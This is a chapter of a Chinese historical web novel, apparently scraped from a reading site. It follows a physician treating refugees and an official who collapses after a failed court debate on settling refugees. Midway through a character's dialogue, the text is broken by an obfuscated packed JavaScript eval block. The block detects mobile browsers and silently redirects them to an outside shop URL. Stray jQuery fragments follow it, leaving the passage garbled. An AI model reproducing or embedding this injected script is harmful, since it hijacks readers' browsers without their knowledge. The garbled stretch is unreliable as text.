默认冷灰
24号文字
方正启体

7. 侨郡

作者:ayaslip本书字数:K更新时间:
    北方八王再争,好歹仍有面上的共主。等到五胡趁虚而入,一举拿下京都,局势方真如山崩地裂。人们成群结队地南下逃命,一个月内,渡江的人流暴涨了十倍。


    仁心堂也被挤得水泄不通,药不够、床不够,只得在郊外草草搭起几座诊棚,全靠义诊的大夫们日夜轮班,苦苦支撑。


    于茵日日天未亮便出门,天黑了还点着烛火看诊。直到眼花头晕、实在撑不住了,才拖着身子回家。


    这日,又是深夜才归。


    门一推开,左幼伦便迎上来:“阿茵!谢天谢地,我都快担心死了。”


    见她几乎没有说话的力气,赶紧接过药匣,扶住她:“天啊,你这脸色——快,先坐下。阿成——”


    于思成岂用他说,已经端了杯水来:“阿姐先喝水,我去给你热饭!”


    便又一溜烟地跑开了。


    左幼伦继续关切道:“听说今天城北又出暴乱,就在义诊棚附近,我差点吓死!想出城找你,偏偏下午又有禁令,连门都出不了。你没事吧?有没有伤着?”


    于茵喝了口水,喘匀了才道:“没事,闹的是粮棚那边,义诊棚没牵连。就是人太多,回城又堵,让你担心了。”


    左幼伦这眉头就没松下:“你明天别去了好不好?太危险了。要么——要么我替你去,你就在城里,城里流民也很多,也需要人啊!”


    于茵笑了笑:“你要去,我当然高兴。但我是义诊的主事人,调度、分药、交接大一堆事,不能不去。”


    左幼伦叹了口气:“好吧好吧,那我明天跟你一起去,好歹能照应你点儿。”


    “那你铺子怎么办?”


    “哎,反正现在不太平,开门还怕被抢。还不如去帮你,踏实点......”


    说着于思成端着饭菜跑了回来:“阿姐,饭来了!”


    便放下,利落地摆开碗筷。


    于茵是真的饿了,捧碗便低头吃了起来。


    左幼伦看着她吃得急,不由劝:“慢点,别噎着。”


    又叹道:“这日子什么时候是个头啊?”


    于思成一边把汤递过去,一边认真道:“要撑一阵子。苏哥哥说了,他在想办法划出地方让流民住下来,给户籍、分田地。等大家安顿下来,就不会这么乱了。”


    左幼伦一愣:“阿成,你这都哪儿听来的?”


    “是掌柜的说的。苏哥哥交代了,这段时间堂里一定要稳住,不能出乱子,好给他争点时间。还说军队那边也会配合的。”


    “你倒记得清。”


    于茵听弟弟这样懂事,也不由微微一笑,“这事不好推,他在那头顶着。咱们这边也得守住,不能辜负他这份托付。”


    顿了顿,又问,“对了,这几天宁伯来过吗?可有带药回去么?”


    于思成点点头:“嗯,今天还来了。走得挺急的。好像说苏哥哥已经连着几天没睡了,饭也吃不下,除了平时那些药,还拿了不少止疼和暖胃的。”


    于茵皱起眉:“那怎么能行呢?”


    想了想道,“幼伦,我明天一早去找宁伯问问。你别等我,在诊棚见好吗?”


    左幼伦“哦”了一声,迟疑了一下:“好,好吧。那你自己一定要当心点......”


    .


    天还未全亮,朝堂上已又吵作一团。


    一个北侨党的道: “臣赞同划出侨置郡县,使流民安居,方可固国之本。”


    一个江南党的则道:“说得轻巧。迁徙本地民众势必劳民伤财。若由此激起民怨、再生祸乱,谁来担这个责?”


    底下立刻起哄:“正是!”“这当口,维持稳定才是首要的!”“臣附议!”


    “好啦。”琅琊王也给吵得头疼,用双手压了压,“本王知道,诸位爱卿心切国事,但也要一个个来说!”


    众臣这才勉强安分了些。


    苏昀上前一步,呈上一份案卷:“主上,臣有奏。”


    琅琊王自然脸上缓了些,“宴之,你说。”


    侍从将案卷递上,琅琊王一边展开,一边听他陈述。


    “侨置郡县之难,在于地权与人心。臣已细查各地户籍,拟于徐、兖、青三州人口稀疏之处择地置郡,另外——”


    苏昀再拜,“臣提议,在受影响的州郡内减税五成,为期三年,以安民心。”


    此言一出,底下又炸开了锅。


    卢士瑶第一个叫道:“前个儿才加军费,现在又要减税。按苏大人的意思,就是让大伙吃西北风了?”


    苏昀面色不改,徐徐道:“臣已算过了,只要六成流民定居入册,按例缴纳,就能平衡账面,在兵力上更是净入。久而久之,不但可解眼下之困,更是强国之本。”


    有人又问:“苏司徒说减税,指的可是田税?那商税、地税又怎么算?”


    “不单田赋,三州全境税额一概减免。”


    众臣哗然,议论起来:“这能行吗......”


    声浪盖天,苏昀只觉得太阳穴突突地跳。他极力忍着,提高声音:“诸位大人若是不信,尽可以拿去核算。但有错漏,苏某愿一力承担。”


    随即转向琅琊王,匍匐长拜:“主上,此策关乎万民安置、国力消长,还望主上准此一试!”


    此言落地,朝堂终于稍静了一阵,将目光投向主座。


    琅琊王翻着案卷,左右看了看众臣,显得有些为难:“司徒说的不无道理。不过兹事体大......”


    此时顾荣便出列,拱手道:“老臣已看过此策,虽未必尽善,但纲目分明。朝中若事事都未试先斥,岂非坐失良机?老臣才拙,也愿为此案略尽绵力。”


    众人听了,有一些骚动。


    北侨党便趁势而起,许多人都出列:“流民不安,则社稷难安。”“臣等复议!”


    一时间,支持之声渐起。


    琅琊王只是低头摩挲案边玉佩,没说话。


    忽有一人出列,是周家御史之首,周嗣存。


    他拱手道: “苏大人愿一力承担,臣敢问一句,大人是以何身份,担何责?如今政令由你议,册籍由你署。若三年后赋税不入、百姓失序,你怎么担责?”


    再朗声道,“流民当然是难题,可若乱了户籍地赋,连旧人也不能安生——”


    再向琅琊王一拜,言辞铿锵,“还望主上,三思!”


    江南党人也纷纷跪拜:“主上三思。”


    .


    又是无疾而终的一场朝议。


    苏昀踏出朝门时,已说不上是失望还是愤懑。只觉头炸开一般地锐痛,眼前发黑。几乎是吊着一口气,才勉强撑到车上——刚上车,便整个人栽倒下去。


    此后也不知自己是怎么回到家,又怎么除衣、倒在床上,见过什么人。


    只记得伏在床边时头痛欲死,干呕不止。


    他拉住不知谁的手,极力在呕吐的间隙里,挤出几个字:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338187|199267||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “找顾老,请他去推。说、说是我说的......”


    一侧身,又吐了一把酸水。


    .


    于茵心急如焚。给他拍背,又揉止吐的穴位。好容易才使他睡了过去。


    额头却已滚烫得吓人。药灌不下,只得针灸、冷敷,又让宁伯擦身退热。折腾到晚间,仍是高烧不退,人已神志不清。


    苏骏从外镇乱归来,一进门便问:“怎么回事?”


    于茵低头道:“劳伤过度,虚火攻心,一口气没缓过来。已经烧了一整日,在说胡话了。”


    苏骏立刻一把火上头:“叫他别瞎折腾,不听!”


    大步上前一看,只见那人烧得气若游丝,脸色惨白。却还在极轻、断续地喃喃:“徐州户册......青兖减税......三年内,不擅、调军粮......”


    苏骏差点要掀屋:“他娘的还在念政令?脑子有病吧!”


    宁伯赶紧把他拉开:“二公子,您轻点声。公子正难受着呢。”


    苏骏气得喘了半会儿,却听那厮轻声念:“阿骏......”


    心头立刻软了下去,上前。“我在。怎么?”


    苏昀半阂着眼,费力地道:“别怕......”


    “......”


    苏骏一时不知如何回答。他堂堂六州都督,江南统军元帅,他怕什么?


    默然了一阵,才丢下句:“……我去透口气。”


    便转身走了。


    .


    至忙到天亮,苏昀的热度才退了一些,沉沉地睡了过去。


    于茵松了半口气,才起身。


    忽然失重晃了一下。


    宁伯忙来扶:“于大夫当心。没事吧?”


    于茵苍白着脸,摇头:“没事,我也回去躺会儿。”又道,“我住在仁心堂后巷,要是病情变化,你就让人来找我。”


    宁伯“哎”了一声,把人送了出来。


    苏骏还在外厅等着,也是一夜没睡。见二人出来,便立刻上前:“他好点了么?”


    于茵点了点头:“烧退了大半,刚睡下。今天可能还会反复。”


    苏骏直接就往里走:“我去看看。”


    宁伯立刻道:“二公子轻点声啊。”


    “知道!”


    .


    再走到大门,有人叫——“阿茵!”


    是左幼伦。


    他一脸担心地上来:“累坏了吧?”


    于茵轻轻地“啊”了一声:“你怎么在这儿?”又道,“是没收到口信吗?我昨天拜托了宁伯的……”


    “收到了。”左幼伦接过她的药匣,“你说晚上不回了要守病人,我就知道你肯定要熬夜,也不吃饭,是不是?”


    又旋开一罐用厚棉布包的汤盒,递上,“来,先喝点红糖水垫垫。应该还是暖的。”


    于茵愣了一下:“你在这等了多久呀?”


    “没多久,没事。你先喝着。”


    于茵只好依言喝了一口,暖汤入胃,果然舒服了不少。又喝一口。放下了,看着他:“对不起,总让你担心。”


    “我没关系,主要是你——这病人是永远看不完的,你也要顾着自己一点。”


    这话听得耳熟,于茵笑了一下:“幼伦,你为什么这么好?”


    左幼伦挠了挠头:“哎,那我不对你好,还对谁好呢?”又推着她,“走吧,赶紧回去歇着,今天别再乱跑了啊……”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)